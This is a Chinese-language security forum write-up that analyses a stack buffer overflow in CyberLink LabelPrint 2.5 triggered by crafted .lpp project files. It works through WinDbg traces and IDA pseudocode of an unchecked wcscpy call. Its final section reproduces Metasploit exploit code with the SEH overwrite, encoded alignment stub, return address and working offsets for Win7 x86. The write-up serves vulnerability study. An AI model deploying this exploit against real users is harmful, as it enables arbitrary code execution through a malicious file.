本文为看雪论坛优秀文章
看雪论坛作者ID:DriverUnload
纸上得来终觉浅,绝知此事要躬行 –陆游
一
前言
最近《漏洞战争》快看完了,也跟着书把漏洞分析了一遍。虽然也有自己的思考,但绝大部分都是复刻书中的操作。以我浅薄的知识,甚至有的时候无法理解某些操作,只好先跟着做,等快分析结束时才能恍然大悟。在分析书中下一个漏洞时,总是有种无从下手的感觉。所以就想着自主分析一下漏洞,顺便沉淀一下所学知识。
二
漏洞描述
CyberLink LabelPrint是一套快速简易的光盘卷标制作软件,支持最新lightscribe光盘封面刻录技术。 CyberLink LabelPrint 2.5中基于堆栈的缓冲区溢出允许远程攻击者通过lpp项目文件中的(1)author(INFORMATION标签内)、(2)name(INFORMATION标签内),(3)artist(TRACK标签内)或(4)default(TEXT标签内)参数执行任意代码。
三
漏洞分析
2、生成exploit
此漏洞的利用代码在Metasploit有集成,我们以一个弹计算器的形式生成一个exploit:
生成的exploit我们打开后,根据漏洞描述可以确定是name属性造成的堆溢出:
我们打开exploit可以看到calc成功弹出,接下里就是分析漏洞成因了。
3、定位漏洞函数
首先我们运行LabelPrint,然后打开windbg,并用windbg附加LabelPrint.exe运行,并打开msf.lpp,打开后触发异常:
Access violation - code c0000005 (first chance) :
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=07220042 ebx=01571fb0 ecx=00130000 edx=0722807c esi=01571ae8 edi=00000000
eip=7c37042b esp=0012e16c ebp=0012eee4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
ERROR: Symbol file could not be found. Defaulted to export symbols for C:Program FilesCyberLinkLabelPrintMSVCR71.dll -
:
7c37042b 668901 mov word ptr [ecx],ax ds:0023:00130000=6341
0:000> !address 00130000
Failed to map Heaps (error 80004005)
Usage: MemoryMappedFile
Allocation Base: 00130000
Base Address: 00130000
End Address: 00134000
Region Size: 00004000
Type: 00040000 MEM_MAPPED
State: 00001000 MEM_COMMIT
Protect: 00000002 PAGE_READONLY
Mapped file name: PageFile
可以看到这是调用MSVCR71!wcscpy的时候,由于循环复制内存数据到栈空间时,未能检测复制的内存大小,导致覆盖到00130000这个只读内存空间,最后造成异常。同时我们再看看栈发生什么变化:
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0012eee4 0001001b 002d0042 00010001 00500042 MSVCR71!wcscpy+0xb
0012eee8 002d0042 00010001 00500042 005c0042 0x1001b
0012eeec 00010001 00500042 005c0042 00250042 0x2d0042
0012eef0 00500042 005c0042 00250042 007e007e 0x10001
0012eef4 005c0042 00250042 007e007e 00250042 0x500042
0012eef8 00250042 007e007e 00250042 00010001 0x5c0042
0012eefc 007e007e 00250042 00010001 00350042 0x250042
0012ef00 00250042 00010001 00350042 007f007f 0x7e007e
0012ef04 00010001 00350042 007f007f 00050042 0x250042
0012ef08 00350042 007f007f 00050042 00440044 0x10001
0012ef0c 007f007f 00050042 00440044 00570042 0x350042
0012ef10 00050042 00440044 00570042 00500042 0x7f007f
ERROR: Module load completed but symbols could not be loaded for C:Program FilesCyberLinkLabelPrintLabelPrint.exe
0012ef14 00440044 00570042 00500042 00420042 0x50042
0012ef18 00570042 00500042 00420042 00420042 LabelPrint+0x40044
0012ef1c 00500042 00420042 00420042 00420042 0x570042
0012ef20 00420042 00420042 00420042 00420042 0x500042
0012ef24 00420042 00420042 00420042 00420042 LabelPrint+0x20042
0012ef28 00420042 00420042 00420042 00420042 LabelPrint+0x20042
0012ef2c 00420042 00420042 00420042 00420042 LabelPrint+0x20042
0012ef30 00420042 00420042 00420042 00420042 LabelPrint+0x20042
0012ef34 00420042 00420042 00420042 00420042 LabelPrint+0x20042
0012ef38 00420042 00420042 00420042 00420042 LabelPrint+0x20042
0012ef3c 00420042 00420042 00420042 00420042 LabelPrint+0x20042
0012ef40 00420042 00420042 00420042 00420042 LabelPrint+0x20042
0012ef44 00420042 00420042 00420042 00420042 LabelPrint+0x20042
0012ef48 00420042 00420042 00420042 00420042 LabelPrint+0x20042
0012ef4c 00420042 00420042 00420042 00420042 LabelPrint+0x20042
0012ef50 00420042 00420042 00420042 00420042 LabelPrint+0x20042
0012ef54 00420042 00420042 00420042 00420042 LabelPrint+0x20042
0012ef58 00420042 00420042 00420042 00420042 LabelPrint+0x20042
........
0:000> u MSVCR71!wcscpy
:
7c370420 8b4c2404 mov ecx,dword ptr [esp+4]
7c370424 8b542408 mov edx,dword ptr [esp+8]
7c370428 668b02 mov ax,word ptr [edx]
7c37042b 668901 mov word ptr [ecx],ax
7c37042e 41 inc ecx
7c37042f 41 inc ecx
7c370430 42 inc edx
7c370431 42 inc edx
0:000> u
:
7c370432 6685c0 test ax,ax
7c370435 75f1 jne MSVCR71!wcscpy+0x8 (7c370428)
7c370437 8b442404 mov eax,dword ptr [esp+4]
7c37043b c3 ret
可以看到wcscpy没有自己的栈帧,同时也没有任何改变栈的操作,所以栈顶一定存放着返回地址。
0:000> dd esp
0012e16c 004657c8 0012e8a8 07226924 75c13e59
0012e17c 01cba6c0 00120008 75c14677 0721f3dc
0012e18c 002962e0 0012eed4 0048b218 00000000
0012e19c 00410c26 01571ae8 0012e8a8 0012f360
0012e1ac 01571fb0 00000000 00369008 01cba490
0012e1bc 01cba4ac 01cbabd0 0726eda0 0012e234
0012e1cc 01cba458 00000000 00000000 01cba3c8
0012e1dc 05c755dc 760dc744 0012e204 75db3a0c
0:000> ub 004657c8
:
004657b4 7404 je LabelPrint+0x657ba (004657ba)
004657b6 8b06 mov eax,dword ptr [esi]
004657b8 eb02 jmp LabelPrint+0x657bc (004657bc)
004657ba 33c0 xor eax,eax
004657bc 8b4c242c mov ecx,dword ptr [esp+2Ch]
004657c0 50 push eax
004657c1 51 push ecx
004657c2 ff150cf14800 call dword ptr [LabelPrint+0x8f10c (0048f10c)]
0:000> dd 0048f10c
0048f10c 7c370420 7c378a5d 7c379aca 7c3639fc
0048f11c 7c372806 7c38ab8d 7c38b668 7c3901c4
0048f12c 7c370223 7c36240d 7c37043c 7c3745a0
0048f13c 7c391173 7c3902cd 7c375867 7c391a3e
0048f14c 7c390c31 7c39108f 7c37056a 7c386655
0048f15c 7c3704ff 7c378ad2 7c378b03 7c378aeb
0048f16c 7c3703f6 00000000 75c14642 75c13e59
0048f17c 75c13eae 75c36ba7 75c145d2 75c13ed5
0:000> u 7c370420
:
7c370420 8b4c2404 mov ecx,dword ptr [esp+4]
7c370424 8b542408 mov edx,dword ptr [esp+8]
7c370428 668b02 mov ax,word ptr [edx]
7c37042b 668901 mov word ptr [ecx],ax
7c37042e 41 inc ecx
7c37042f 41 inc ecx
7c370430 42 inc edx
7c370431 42 inc edx
int __thiscall vulfunc(_DWORD **this, _DWORD *a2, wchar_t *Destination)
{
.....
v10 = 0;
VariantInit(&pvarg);
v4 = *this[2];
v9 = this[2];
v12 = 0;
if ( (*(int (__stdcall **)(_DWORD *, _DWORD *, int *))(v4 + 28))(v9, a2, &v10) >= 0 && v10 )
{
(*(void (__stdcall **)(int, VARIANTARG *))(*(_DWORD *)v10 + 32))(v10, &pvarg);
if ( pvarg.vt == 8 )
{
sub_4652C0(&pvarg);
v5 = a2 ? (const wchar_t *)*a2 : 0;
wcscpy(Destination, v5); //这里拷贝造成了异常
if ( a2 )
sub_40D110(a2);
}
VariantClear(&pvarg);
(*(void (__stdcall **)(int))(*(_DWORD *)v10 + 8))(v10);
v12 = -1;
v6 = VariantClear(&pvarg);
if ( v6 < 0 )
sub_483340(v6);
return 0;
}
.....
4、确定函数执行流程
(a34.5ac): Break instruction exception - code 80000003 (first chance)
eax=7ff9b000 ebx=00000000 ecx=00000000 edx=76faec83 esi=00000000 edi=00000000
eip=76f43c48 esp=0736ff5c ebp=0736ff88 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!DbgBreakPoint:
76f43c48 cc int 3
0:016> bp 00465730
*** ERROR: Module load completed but symbols could not be loaded for C:Program FilesCyberLinkLabelPrintLabelPrint.exe
0:016> g
ModLoad: 6da60000 6dab8000 C:Program FilesCommon Filesmicrosoft sharedinktiptsf.dll
ModLoad: 6e710000 6e741000 C:Windowssystem32EhStorShell.dll
ModLoad: 6e6a0000 6e70a000 C:WindowsSystem32cscui.dll
ModLoad: 6e7e0000 6e7e9000 C:WindowsSystem32CSCDLL.dll
ModLoad: 6fa00000 6fa0b000 C:Windowssystem32CSCAPI.dll
ModLoad: 6e630000 6e6a0000 C:Windowssystem32ntshrui.dll
ModLoad: 74cb0000 74cc9000 C:Windowssystem32srvcli.dll
ModLoad: 73620000 7362a000 C:Windowssystem32slc.dll
ModLoad: 6e620000 6e626000 C:Windowssystem32IconCodecService.dll
ModLoad: 71590000 715ec000 C:WindowsSystem32StructuredQuery.dll
ModLoad: 6e300000 6e34e000 C:Windowssystem32actxprxy.dll
ModLoad: 6acf0000 6ad1b000 C:Program FilesInternet Explorerieproxy.dll
ModLoad: 72430000 72446000 C:Windowssystem32thumbcache.dll
ModLoad: 6dfc0000 6dfee000 C:Windowssystem32SHDOCVW.dll
ModLoad: 697f0000 69890000 C:Windowssystem32SearchFolder.dll
ModLoad: 6ca60000 6cbf8000 C:Windowssystem32NetworkExplorer.dll
ModLoad: 6f4d0000 6f4d9000 C:Windowssystem32LINKINFO.dll
ModLoad: 73120000 7312f000 C:Windowssystem32samcli.dll
ModLoad: 73f80000 73f92000 C:Windowssystem32SAMLIB.dll
ModLoad: 732c0000 732c9000 C:Windowssystem32netutils.dll
Breakpoint 0 hit
eax=0710591c ebx=01651fb0 ecx=0012e1b8 edx=00000002 esi=75c13e59 edi=00000000
eip=00465730 esp=0012e19c ebp=0012eee4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
LabelPrint+0x65730:
00465730 6aff push 0FFFFFFFFh
断下后运行会发现再次断下,我们在第5次断下的时候再运行才触发异常:
Breakpoint 0 hit
eax=0710591c ebx=01651fb0 ecx=0012e1b8 edx=00000002 esi=75c13e59 edi=00000000
eip=00465730 esp=0012e19c ebp=0012eee4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
LabelPrint+0x65730:
00465730 6aff push 0FFFFFFFFh
0:000> g
Breakpoint 0 hit
eax=0710578c ebx=01651fb0 ecx=0012e1b8 edx=00000000 esi=75c13e59 edi=00000000
eip=00465730 esp=0012e19c ebp=0012eee4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
LabelPrint+0x65730:
00465730 6aff push 0FFFFFFFFh
0:000> g
Breakpoint 0 hit
eax=0710591c ebx=01651fb0 ecx=0012e1b8 edx=00000000 esi=75c13e59 edi=00000000
eip=00465730 esp=0012e19c ebp=0012eee4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
LabelPrint+0x65730:
00465730 6aff push 0FFFFFFFFh
0:000> g
Breakpoint 0 hit
eax=0710578c ebx=01651fb0 ecx=0012e1b8 edx=00000000 esi=75c13e59 edi=0012e6a0
eip=00465730 esp=0012e19c ebp=0012eee4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
LabelPrint+0x65730:
00465730 6aff push 0FFFFFFFFh
0:000> g
Breakpoint 0 hit
eax=0710591c ebx=01651fb0 ecx=0012e1b8 edx=0012e8a8 esi=75c13e59 edi=00000000
eip=00465730 esp=0012e19c ebp=0012eee4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
LabelPrint+0x65730:
00465730 6aff push 0FFFFFFFFh
0:000> g
(a34.238): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=07190042 ebx=01651fb0 ecx=00130000 edx=07193bec esi=01651ae8 edi=00000000
eip=7c37042b esp=0012e16c ebp=0012eee4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:Program FilesCyberLinkLabelPrintMSVCR71.dll -
MSVCR71!wcscpy+0xb:
7c37042b 668901 mov word ptr [ecx],ax ds:0023:00130000=6341
重新加载在第5次断下时,查看此时esp,确定函数调用过程:
Breakpoint 0 hit
eax=06eafea4 ebx=01581fb0 ecx=0012e1b8 edx=0012e8a8 esi=75c13e59 edi=00000000
eip=00465730 esp=0012e19c ebp=0012eee4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
:
00465730 6aff push 0FFFFFFFFh
0:000> dd esp
0012e19c 00410c26 06eafea4 0012e8a8 0012f360
0012e1ac 01581fb0 00000000 06dcd8c0 01afa490
0012e1bc 01afa4ac 01afabd0 06e26658 0012e234
0012e1cc 01afa458 00000000 00000000 01afa3c8
0012e1dc 06e0d464 760dc744 0012e204 75db3a0c
0012e1ec 06e389fe 00000000 0012e234 00000000
0012e1fc 00000000 06eafea4 0012e220 06eafef4
0012e20c 06e389fe 06eafea4 0012e234 06eafef4
0:000> ub 00410c26
:
00410c05 e836b6ffff call LabelPrint+0xc240 (0040c240)
00410c0a 8b00 mov eax,dword ptr [eax]
00410c0c 8d942400070000 lea edx,[esp+700h]
00410c13 52 push edx
00410c14 50 push eax
00410c15 8d4c2418 lea ecx,[esp+18h]
00410c19 c684243c0d000024 mov byte ptr [esp+0D3Ch],24h
00410c21 e80a4b0500 call LabelPrint+0x65730 (00465730) 调用vulfunc函数
函数在00410c21地址处调用了vulfunc函数。再用ida查看此函数:
....
v123 = *(_DWORD **)sub_40C240((OLECHAR *)L"title");
LOBYTE(STACK[0xD30]) = 32;
vulfunc(&p_bstrString, v123, (wchar_t *)(a1 + 5876)); //1
v151 = a18;
LOBYTE(STACK[0xD30]) = 0;
a2(v151);
v124 = *(_DWORD **)sub_40C240((OLECHAR *)L"author");
LOBYTE(STACK[0xD30]) = 33;
vulfunc(&p_bstrString, v124, (wchar_t *)(a1 + 6396)); //2
v152 = a20;
LOBYTE(STACK[0xD30]) = 0;
a2(v152);
v125 = *(_DWORD **)sub_40C240((OLECHAR *)L"date");
LOBYTE(STACK[0xD30]) = 34;
vulfunc(&p_bstrString, v125, (wchar_t *)(a1 + 6916)); //3
v153 = a22;
LOBYTE(STACK[0xD30]) = 0;
a2(v153);
LOWORD(STACK[0x2EC]) = 0;
memset(&STACK[0x2EE], 0, 0x204u);
LOWORD(STACK[0x4F2]) = 0;
v126 = *(_DWORD **)sub_40C240((OLECHAR *)L"SystemTime");
LOBYTE(STACK[0xD30]) = 35;
vulfunc(&p_bstrString, v126, (wchar_t *)&STACK[0x2EC]); //4
......
v106 = *(_DWORD **)sub_40C240((OLECHAR *)L"name");
LOBYTE(STACK[0xD28]) = 36;
vulfunc(&v156, v106, (wchar_t *)&STACK[0x6F4]); //5
现在我们知道为什么vulfunc要调用5次了。而且这些属性正好和exploit中一一对应。但是在vulfunc中仍进行了两次if判断才最终执行wcscpy。所以想要继续确定执行流程,还得分析vulfunc函数。重新加载在vulfunc函数头下断,在第5次断下时单步跟踪确定执行流程:
eax=06eafea4 ebx=01581fb0 ecx=0012e1b8 edx=0012e8a8 esi=75c13e59 edi=00000000
eip=00465730 esp=0012e19c ebp=0012eee4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
LabelPrint+0x65730:
00465730 6aff push 0FFFFFFFFh
0:000> dc eax
06eafea4 0061006e 0065006d 00320000 00310030 n.a.m.e...2.0.1.
06eafeb4 00000035 0000004e 00000000 72b6d559 5...N.......Y..r
06eafec4 80000000 0061006b 00650062 0050006c ....k.a.b.e.l.P.
06eafed4 00690072 0074006e 00460020 006c0069 r.i.n.t. .F.i.l.
06eafee4 00000065 72b6d55c 88000000 00000014 e.....r........
06eafef4 00790053 00740073 006d0065 00690054 S.y.s.t.e.m.T.i.
06eaff04 0065006d 00000000 00000000 72b6d563 m.e.........c..r
06eaff14 80000000 0061007a 00650062 0050006c ....z.a.b.e.l.P.
.......
eax=0012e180 ebx=01581fb0 ecx=0012e1b8 edx=0012e8a8 esi=0012e1b8 edi=00000000
eip=00465758 esp=0012e174 ebp=0012eee4 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
LabelPrint+0x65758:
00465758 ff1588f14800 call dword ptr [LabelPrint+0x8f188 (0048f188)] ds:0023:0048f188={OLEAUT32!VariantInit (75c13ed5)}
0:000> p
eax=00000000 ebx=01581fb0 ecx=0012e180 edx=0012e8a8 esi=0012e1b8 edi=00000000
eip=0046575e esp=0012e178 ebp=0012eee4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
LabelPrint+0x6575e:
0046575e 8b4608 mov eax,dword ptr [esi+8] ds:0023:0012e1c0=01afabd0
0:000> p
eax=01afabd0 ebx=01581fb0 ecx=0012e180 edx=0012e8a8 esi=0012e1b8 edi=00000000
eip=00465761 esp=0012e178 ebp=0012eee4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
LabelPrint+0x65761:
00465761 8b08 mov ecx,dword ptr [eax] ds:0023:01afabd0={msxml3!DOMNamedNodeMapList::`vftable' (6927cc90)}
上面先是调用VariantInit初始化pvarg,pvarg是变体类型Variant,Variant 是一种特殊的数据类型,除了定长String数据及用户定义类型外,可以包含任何种类的数据。Variant 也可以包含Empty、Error、Nothing及Null等特殊值。VARIANT数据结构包含两个域(如果不考虑保留的域)。vt域描述了第二个域的数据类型。
之后取DOMNamedNodeMapList对象及其虚表指针。
我们接着往下走:
.....
eax=01afabd0 ebx=01581fb0 ecx=6927cc90 edx=06eafea4 esi=0012e1b8 edi=00000000
eip=00465776 esp=0012e16c ebp=0012eee4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
LabelPrint+0x65776:
00465776 ff511c call dword ptr [ecx+1Ch] ds:0023:6927ccac={msxml3!DOMNamedNodeMapList::getNamedItem (6927ce11)}
0:000>
eax=00000000 ebx=01581fb0 ecx=6927ceb2 edx=00000001 esi=0012e1b8 edi=00000000
eip=00465779 esp=0012e178 ebp=0012eee4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
LabelPrint+0x65779:
00465779 85c0 test eax,eax
0:000> p
eax=01dda6c0 ebx=01661fc8 ecx=6991ceb2 edx=00000001 esi=0012e1b8 edi=00000000
eip=00465785 esp=0012e178 ebp=0012eee4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
LabelPrint+0x65785:
00465785 85c0 test eax,eax
0:000> dd eax
01dda6c0 698f6508 698f6608 699b8b60 698f6604
01dda6d0 0000000e 698f8808 698f65c8 015b8640
01dda6e0 00000000 00000000 05ba7c97 0000f7f2
01dda6f0 01dda4e0 01dd00c4 0bbb7c98 0800f7f7
01dda700 0021cfe8 0000000c 003a0043 0050005c
01dda710 006f0072 00720067 006d0061 00610044
01dda720 00610074 0043005c 00620079 00720065
01dda730 0069004c 006b006e 0045005c 006f0076
0:000> ln 698f6508
(698f6508) msxml3!DOMNode::`vftable' | (69932fbc) msxml3!DOMChildList::`vftable'
Exact matches:
msxml3!DOMNode::`vftable' = <no type information>
0:000> p
eax=00000000 ebx=01581fb0 ecx=6927ceb2 edx=00000001 esi=0012e1b8 edi=00000000
eip=0046577b esp=0012e178 ebp=0012eee4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
LabelPrint+0x6577b:
0046577b 0f8c99000000 jl LabelPrint+0x6581a (0046581a) [br=0]
对应的C代码如下:上面调用了DOMNamedNodeMapList::getNamedItem将DOMNode对象传递给v10,接着跟踪:
.......
eax=01dda6c0 ebx=01661fc8 ecx=6991ceb2 edx=00000001 esi=0012e1b8 edi=00000000
eip=0046578d esp=0012e178 ebp=0012eee4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
:
0046578d 8b08 mov ecx,dword ptr [eax] ds:0023:01dda6c0={msxml3!DOMNode::`vftable' (698f6508)}
0:000>
eax=01dda6c0 ebx=01661fc8 ecx=698f6508 edx=00000001 esi=0012e1b8 edi=00000000
eip=0046578f esp=0012e178 ebp=0012eee4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
:
0046578f 8d542408 lea edx,[esp+8]
0:000>
eax=01dda6c0 ebx=01661fc8 ecx=698f6508 edx=0012e180 esi=0012e1b8 edi=00000000
eip=00465793 esp=0012e178 ebp=0012eee4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
:
00465793 52 push edx
0:000> dd 0012e180 0012e180 是pvarg的地址
0012e180 00120000 75c14677 00491268 002062e0 这里00120000 的低两位是vt,类型为VarType
0012e190 0012eed4 0048b218 00000000 00410c26 0012e180+8是bstrVal
0012e1a0 07006984 0012e8a8 0012f360 01661fc8
0012e1b0 00000000 05c7d838 01dda490 01dda4ac
0012e1c0 01ddabd0 06f24638 0012e234 01dda458
0012e1d0 00000000 00000000 01dda3c8 06f80f74
0012e1e0 760dc744 0012e204 75db3a0c 06fe9e76
0012e1f0 00000000 0012e234 00000000 00000000
0:000> dc 00491268
00491268 0061006e 0065006d 00000000 00520054 n.a.m.e.....T.R.
00491278 00430041 0000004b 00790053 00740073 A.C.K...S.y.s.t.
00491288 006d0065 00690054 0065006d 00000000 e.m.T.i.m.e.....
00491298 00610064 00650074 00000000 00750061 d.a.t.e.....a.u.
004912a8 00680074 0072006f 00000000 00690074 t.h.o.r.....t.i.
004912b8 006c0074 00000065 004e0049 004f0046 t.l.e...I.N.F.O.
004912c8 004d0052 00540041 004f0049 0000004e R.M.A.T.I.O.N...
004912d8 006f0062 00640072 00720065 0063005f b.o.r.d.e.r._.c.
0:000> p
eax=01dda6c0 ebx=01661fc8 ecx=698f6508 edx=0012e180 esi=0012e1b8 edi=00000000
eip=00465794 esp=0012e174 ebp=0012eee4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
:
00465794 50 push eax
0:000>
eax=01dda6c0 ebx=01661fc8 ecx=698f6508 edx=0012e180 esi=0012e1b8 edi=00000000
eip=00465795 esp=0012e170 ebp=0012eee4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
:
00465795 ff5120 call dword ptr [ecx+20h] ds:0023:698f6528={msxml3!DOMNode::get_nodeValue (6992eb26)}
0:000>
eax=00000000 ebx=01661fc8 ecx=6992ebd1 edx=00000001 esi=0012e1b8 edi=00000000
eip=00465798 esp=0012e178 ebp=0012eee4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
:
00465798 66837c240808 cmp word ptr [esp+8],8 ss:0023:0012e180=0008
0:000> dd 0012e180 0012e180 是pvarg的地址
0012e180 00120008 75c14677 06fb65f4 002062e0 00120008 低两位为8代表字符串
0012e190 0012eed4 0048b218 00000000 00410c26 0012e180+8是bstrVal
0012e1a0 07006984 0012e8a8 0012f360 01661fc8
0012e1b0 00000000 05c7d838 01dda490 01dda4ac
0012e1c0 01ddabd0 06f24638 0012e234 01dda458
0012e1d0 00000000 00000000 01dda3c8 06f80f74
0012e1e0 760dc744 0012e204 75db3a0c 06fe9e76
0012e1f0 00000000 0012e234 00000000 00000000
0:000> dc 06fb65f4
06fb65f4 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
06fb6604 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
06fb6614 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
06fb6624 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
06fb6634 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
06fb6644 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
06fb6654 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
06fb6664 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
对应C代码如下:
VarType如下:
由上可知通过调用DOMNode::get_nodeValue将pvarg.vt赋值为8,同时取name属性中的值放入pvarg.bstrVal中。
接下来就是一些数值传递:
最后调用拷贝函数,在此之前需要确定拷贝的目标地址:
eax=06fbdb3c ebx=01661fc8 ecx=0012e8a8 edx=00000000 esi=0167ca60 edi=00000000
eip=004657c0 esp=0012e178 ebp=0012eee4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
LabelPrint+0x657c0:
004657c0 50 push eax
0:000>
eax=06fbdb3c ebx=01661fc8 ecx=0012e8a8 edx=00000000 esi=0167ca60 edi=00000000
eip=004657c1 esp=0012e174 ebp=0012eee4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
LabelPrint+0x657c1:
004657c1 51 push ecx
0:000>
eax=06fbdb3c ebx=01661fc8 ecx=0012e8a8 edx=00000000 esi=0167ca60 edi=00000000
eip=004657c2 esp=0012e170 ebp=0012eee4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
LabelPrint+0x657c2:
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:Program FilesCyberLinkLabelPrintMSVCR71.dll -
004657c2 ff150cf14800 call dword ptr [LabelPrint+0x8f10c (0048f10c)] ds:0023:0048f10c={MSVCR71!wcscpy (7c370420)}
5、总结
由于程序在调用vulfunc读取属性值的时候,没有计算属性值所占用的空间大小,最终在复制时导致溢出。
四
exploit分析
源码如下:
我的win7 x86环境下的参数
'Ret' => "x2cx44",
'Offset' => 790,
'Padding1' => 857,
'Padding2' => 104
def exploit
nop = "x42"
junk = 'ABC'.split('').sample #junk must specifically static (A, B, and C only)
buffer = ""
buffer << junk * target['Offset']
buffer << "x61x42" # nseh
buffer << target['Ret'] # seh
#we need to encode the RET address, since RET (xc3) is known as bad char.
#preparing address to land the decoded RET
buffer << nop #nop/inc edx
buffer << "x54" #push esp
buffer << nop #nop/inc edx
buffer << "x58" #pop eax
buffer << nop #nop/inc edx
buffer << "x05x1Bx01" #add eax 01001B00
buffer << nop #nop/inc edx
buffer << "x2dx01x01" #sub eax 01001000
buffer << nop #nop/inc edx
buffer << "x50" #push eax
buffer << nop #nop/inc edx
buffer << "x5c" #pop esp
#preparing RET opcode (c300c300)
buffer << nop #nop/inc edx
buffer << "x25x7ex7e" #and eax,7e007e00
buffer << nop #nop/inc edx
buffer << "x25x01x01" #and eax,01000100
buffer << nop #nop/inc edx
buffer << "x35x7fx7f" #xor eax,7f007f00
buffer << nop #nop/inc edx
buffer << "x05x44x44" #add eax,44004400
buffer << nop #nop/inc edx
buffer << "x57" #push edi as padding, needed to align stack
buffer << nop #nop/inc edx
buffer << "x50" #push eax
buffer << junk * target['Padding1'] #OS specific
#custom venetian to reach shellcode
buffer << "x58" #pop eax
buffer << nop #nop/inc edx
buffer << "x58" #pop eax
buffer << nop #nop/inc edx
buffer << "x05x09x01" #depending OS
buffer << nop #nop/inc edx
buffer << "x2dx01x01" #add eax, 01000100, this will align eax to our buffer
buffer << nop #nop/inc edx
buffer << "x50" #push eax
buffer << nop #nop/inc edx
#crafting call esp at 0x7c32537b (MFC71U.dll) to make a jump using call esp
buffer << "x5C" #pop esp
buffer << nop #nop/inc edx
buffer << "x58" #pop eax
buffer << nop #nop/inc edx
buffer << "x05x53x7c" #add eax 7c005300 part of call esp
buffer << nop #nop/inc edx
buffer << "x50" #push eax
buffer << junk * target['Padding2'] #OS specific
buffer << "x7bx32" #part of call esp
#preparing for jump to shellcode, placing in eax.
buffer << junk * 114 #junk
buffer << "x57" #push edi
buffer << nop #nop/inc edx
buffer << "x58" #pop eax
buffer << nop #nop/inc edx
buffer << "x05x0Ax01" #depending OS
buffer << nop #nop/inc edx
buffer << "x2dx01x01" #sub eax,01000100
buffer << nop #nop/inc edx
buffer << get_payload(payload.encoded)
buffer << junk * (payload.space-buffer.length) #fill the rest of buffer, must be added.
lpp_data = <<-EOS
<PROJECT version="1.0.00">
<INFORMATION title="" author="" date="#{rand(1..12)}/#{rand(1..28)}/#{(1970..2020).to_a.sample}" SystemTime="#{rand(1..12)}/#{rand(1..28)}/#{(1970..2020).to_a.sample}">
<TRACK name="#{buffer}" />
</INFORMATION>
</PROJECT>
可以看到exploit将0x42作为nop,以ABC中随机一个字符作为填充。将以上代码优化后如下:
第一区块
nop = "x42"
junk = 'ABC'.split('').sample #junk must specifically static (A, B, and C only)
buffer = ""
buffer << junk * target['Offset']
buffer << "x61x42" # nseh
buffer << target['Ret'] # seh
第二区块
#we need to encode the RET address, since RET (xc3) is known as bad char.
#preparing address to land the decoded RET
buffer << "x54" #push esp
buffer << "x58" #pop eax
buffer << "x05x1Bx01" #add eax 01001B00
buffer << "x2dx01x01" #sub eax 01001000 eax=0012F655
buffer << "x50" #push eax
